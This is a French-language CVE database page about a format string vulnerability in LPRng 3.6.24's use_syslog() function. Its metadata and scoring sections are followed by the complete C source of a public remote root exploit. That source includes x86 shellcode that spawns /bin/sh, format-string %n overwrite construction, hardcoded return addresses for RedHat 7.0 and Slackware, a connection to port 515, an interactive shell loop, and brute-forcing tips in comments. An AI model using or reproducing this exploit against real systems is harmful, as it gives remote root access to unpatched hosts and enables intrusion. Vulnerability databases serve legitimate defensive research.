CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Format string vulnerability in use_syslog() function in LPRng 3.6.24 allows remote attackers to execute arbitrary commands.
Informations du CVE
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
79.59%
–
–
2023-03-12
–
–
–
95.71%
–
2024-06-02
–
–
–
95.71%
–
2024-12-08
–
–
–
95.71%
–
2024-12-22
–
–
–
96.26%
–
2025-01-19
–
–
–
96.26%
–
2025-03-18
–
–
–
–
84.58%
2025-03-30
–
–
–
–
83.54%
2025-03-30
–
–
–
–
83.54,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2000-12-14 23h00 +00:00 Auteur : VeNoMouS EDB Vérifié : Yes
/*
* REMOTE ROOT EXPLOIT for linux x86 - LPRng-3.6.24-1 (RedHat 7.0)
*
* The RedHat 7.0 replaced the BSD lpr with the LPRng package which is
* vulnerable to format string attacks because it passes information
* to the syslog incorrectly.
* You can get remote root access on machines running RedHat 7.0 with
* lpd running (port 515/tcp) if it is not fixed, of course (3.6.25).
*
* bonus: I tested it too on slackware 7.0 with LPRng3.6.22-1, remember
* is -not- installed by default (isnt a package of the slackware).
*
* and,.. this code is for educational propourses only, do not use
* it on remote machines without authorization.
*
* greets: bruj0, ka0z, dn0, #rdC and #flatline
*
* coded by venomous of rdC - Argentinian security group.
* venomous@rdcrew.com.ar
* http://www.rdcrew.com.ar
*
*/
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <signal.h>
char shellcode[]= // not mine
"\x31\xc0\x31\xdb\x31\xc9\xb3\x07\xeb\x67\x5f\x8d\x4f"
"\x07\x8d\x51\x0c\x89\x51\x04\x8d\x51\x1c\x89\x51\x08"
"\x89\x41\x1c\x31\xd2\x89\x11\x31\xc0\xc6\x41\x1c\x10"
"\xb0\x66\xcd\x80\xfe\xc0\x80\x79\x0c\x02\x75\x04\x3c"
"\x01\x74\x0d\xfe\xc2\x80\xfa\x01\x7d\xe1\x31\xc0\xfe"
"\xc0\xcd\x80\x89\xd3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80"
"\xfe\xc1\x80\xf9\x03\x75\xf3\x89\xfb\x31\xc0\x31\xd2"
"\x88\x43\x07\x89\x5b\x08\x8d\x4b\x08\x89\x43\x0c\xb0"
"\x0b\xcd\x80\x31\xc0\xfe\xc0\xcd\x80\xe8\x94\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68";
void usage(char *prog);
void makebuffer(char *addr, char *shaddr, int addroffset, int shoffset, int padding , int fsc);
void sigint();
void sigalarm();
void mk_connect(char victim[128], int port);
char yahoo[1024];
struct os
{
char *addr;
char *shelladdr;
char *desc;
int addroffset;
int shelladdroffset;
int pad;
int fsc;
};
/* generally, the addresses are wrong for a very small value,, i recommend
* that you bruteforce the retloc + or - by 1..(ex: -50 to +50, steps of 1)
* if it dont work, try the same but changing the fsc (this is the value
* of when we start to control the formats strings), start from 290 until
* 330, it should be enough.
* and if it still dont work,, :|, try with the offset of the shellcode
* address, this buffer has nops, so it shouldnt be difficult to guess.
* make a .sh! :)
* of course, you can start gdb on your box(es) and dont guess nothing
* just inspect the program and get the correct values!
*
* -venomous
*/
struct os target[]=
{
{"0xbfffee30", "0xbffff640", "Slackware 7.0 with LPRng-3.6.22.tgz - started from shell", 0, 0, 2, 299},
{"0xbffff0f0", "0xbffff920", "RedHat 7.0 (Guinness) with LPRng-3.6.22/23/24-1 from rpm - glibc-2.2-5", 0, 0, 2, 304},
{NULL,NULL,NULL,0,0}
};
main(int argc, char *argv[])
{
int port=515,
so=0,
padding=0,
retlocoffset=0,
shellcodeoffset=0,
fscT=0;
char arg,
victim[128],
rl[128],
sh[128];
if(argc < 3)
usage(argv[0]);
bzero(victim,sizeof(victim));
bzero(rl,sizeof(rl));
bzero(sh,sizeof(sh));
while ((arg = getopt(argc, argv, "h:p:r:s:t:P:R:S:c")) != EOF)
{
switch(arg)
{
case 'h':
strncpy(victim,optarg,128);
break;
case 'p':
port = atoi(optarg);
break;
case 'r':
strncpy(rl,optarg,128);
break;
case 's':
strncpy(sh,optarg,128);
break;
case 't':
so = atoi(optarg);
break;
case 'P':
padding = atoi(optarg);
break;
case 'R':
retlocoffset = atoi(optarg);
break;
case 'S':
shellcodeoffset = atoi(optarg);
break;
case 'c':
fscT = atoi(optarg);
break;
default:
usage(argv[0]);
break;
}
}
if(strlen(victim) == 0)
usage(argv[0]);
if (strcmp(rl,""))
target[so].addr = rl;
if (strcmp(sh,""))
target[so].shelladdr = sh;
if (retlocoffset != 0)
target[so].addroffset = target[so].addroffset + retlocoffset;
if (shellcodeoffset != 0)
target[so].shelladdroffset = target[so].shelladdroffset + shellcodeoffset;
if (padding != 0)
target[so].pad = target[so].pad + padding;
if (fscT != 0)
target[so].fsc = target[so].fsc + fscT;
signal(SIGINT, sigint);
makebuffer(target[so].addr, target[so].shelladdr, target[so].addroffset, target[so].shelladdroffset, target[so].pad, target[so].fsc);
mk_connect(victim, port);
}
void makebuffer(char *addr, char *shaddr, int addroffset, int shoffset, int padding, int fsc)
{
char *tmp,
addrtmp[216],
ot[128];
int i,b,x,t;
unsigned long pt;
char temp[128];
char a1,a2,a3,a4,a5,a6,a7,a8;
char fir[12],sec[12],thr[12],f0r[12];
unsigned long firl,secl,thrl,forl;
unsigned long pas1,pas2,pas3,pas4;
bzero(yahoo,sizeof(yahoo));
bzero(ot,sizeof(ot));
bzero(addrtmp,sizeof(addrtmp));
printf("** LPRng remote root exploit coded by venomous of rdC **\n");
printf("\nconstructing the buffer:\n\n");
printf("adding bytes for padding: %d\n",padding);
for(i=0 ; i < padding ; i++)
strcat(yahoo,"A");
tmp = addr;
pt = strtoul(addr, &addr,16) + addroffset;
addr = tmp;
printf("retloc: %s + offset(%d) == %p\n", addr, addroffset, pt);
printf("adding resulting retloc(%p)..\n",pt);
sprintf(addrtmp, "%p", pt);
if(strlen(addr) != 10)
{
printf("Error, retloc is %d bytes long, should be 10\n",strlen(addr));
exit(1);
}
pt = 0;
for (i=0 ; i < 4 ; i++)
{
pt = strtoul(addrtmp, &addrtmp, 16);
//strcat(yahoo, &pt);
bzero(ot,sizeof(ot));
sprintf(ot,"%s",&pt);
strncat(yahoo,ot,4);
pt++;
sprintf(addrtmp, "%p", pt);
//printf("addrtmp:%s :yahoo %s\n",addrtmp,yahoo);
}
tmp = shaddr;
pt = 0;
pt = strtoul(shaddr,&shaddr,16) + shoffset;
sprintf(ot,"%p",pt);
shaddr = ot;
printf("adding shellcode address(%s)\n", shaddr);
sscanf(shaddr,"0x%c%c%c%c%c%c%c%c",&a1,&a2,&a3,&a4,&a5,&a6,&a7,&a8);
sprintf(fir,"0x%c%c",a1,a2);
sprintf(sec,"0x%c%c",a3,a4);
sprintf(thr,"0x%c%c",a5,a6);
sprintf(f0r,"0x%c%c",a7,a8);
firl = strtoul(fir,&fir,16);
secl = strtoul(sec,&sec,16);
thrl = strtoul(thr,&thr,16);
forl = strtoul(f0r,&f0r,16);
pas1 = forl - 50 - padding;
pas1 = check_negative(pas1);
pas2 = thrl - forl;
pas2 = check_negative(pas2);
pas3 = secl - thrl;
pas3 = check_negative(pas3);
pas4 = firl - secl;
pas4 = check_negative(pas4);
sprintf(temp,"%%.%du%%%d$n%%.%du%%%d$n%%.%du%%%d$n%%.%du%%%d$n",pas1,fsc, pas2, fsc+1, pas3, fsc+2,pas4, fsc+3);
strcat(yahoo,temp);
printf("adding nops..\n");
b = strlen(yahoo);
for (i=0 ; i < (512-b-strlen(shellcode)) ; i++)
yahoo[b+i] = '\x90';
printf("adding shellcode..\n");
b=+i;
for (x=0 ; x < b ; x++)
yahoo[b+x] = shellcode[x];
strcat(yahoo,"\n");
printf("all is prepared.. now lets connect to something..\n");
}
check_negative(unsigned long addr)
{
char he[128];
sprintf(he,"%d",addr);
if (atoi(he) < 0)
addr = addr + 256;
return addr;
}
void mk_connect(char victim[128], int port)
{
struct hostent *host;
struct sockaddr_in den0n;
int sox;
den0n.sin_family = AF_INET;
den0n.sin_port = htons(port);
host = gethostbyname(victim);
if (!host)
{
printf("cannot resolve, exiting...\n");
exit(0);
}
bcopy(host->h_addr, (struct in_addr *)&den0n.sin_addr, host->h_length);
sox = socket(AF_INET, SOCK_STREAM, 0);
signal(SIGALRM, sigalarm);
alarm(10);
printf("connecting to %s to port %d\n",host->h_name, port);
if (connect(sox, (struct sockaddr *)&den0n, sizeof(struct sockaddr)) < 0)
{
putchar('\n');
perror("connect");
exit(1);
}
printf("connected!, sending the buffer...\n\n");
write(sox, yahoo , strlen(yahoo));
printf("%s\n", yahoo);
sleep(1);
alarm(0);
runshell(sox);
}
int runshell(int sox)
{
fd_set rset;
int n;
char buffer[4096];
char *command="/bin/uname -a ; /usr/bin/id\n";
send(sox, command, strlen(command), 0);
for (;;) {
FD_ZERO (&rset);
FD_SET (sox, &rset);
FD_SET (STDIN_FILENO, &rset);
n = select(sox + 1, &rset, NULL, NULL, NULL);
if(n <= 0)
return (-1);
if(FD_ISSET (sox, &rset)) {
n = recv (sox, buffer, sizeof (buffer), 0);
if (n <= 0)
break;
write (STDOUT_FILENO, buffer, n);
}
if(FD_ISSET (STDIN_FILENO, &rset)) {
n = read (STDIN_FILENO, buffer, sizeof (buffer));
if (n <= 0)
break;
send(sox, buffer, n, 0);
}
}
return (0);
}
void sigalarm()
{
printf("connection timed out, exiting...\n");
exit(0);
}
void sigint()
{
printf("CAUGHT sigint, exiting...\n");
exit(0);
}
void usage(char *prog)
{
int i;
printf("\n** LPRng remote root exploit coded by venomous of rdC **\n");
printf("Usage:\n\n");
printf("%s [-h hostname] <-p port> <-r addr> <-s shellcodeaddr> <-t type> <-P padding> <-R offset> <-S offset> <-c offset>\n\n", prog);
printf("-h is the victim ip/host\n");
printf("-p select a different port to connect, default 515\n");
printf("-r is the address to overwrite\n");
printf("-s is the address of the shellcode\n");
printf("You can use a predefined addr/shellcodeaddr using -t <number>\n\n");
printf("availables types:\n\n");
for (i=0 ; target[i].desc != NULL ; i++)
printf("%d - %s\n",i,target[i].desc);
printf("\n-P is to define the padding to use, usually 2\n");
printf("-R the offset to add to <addr>\n");
printf("-S the offset to add to <shellcodeaddr>\n");
printf("-c where we start to control the format string\n\n");
exit(0);
}
// milw0rm.com [2000-12-15]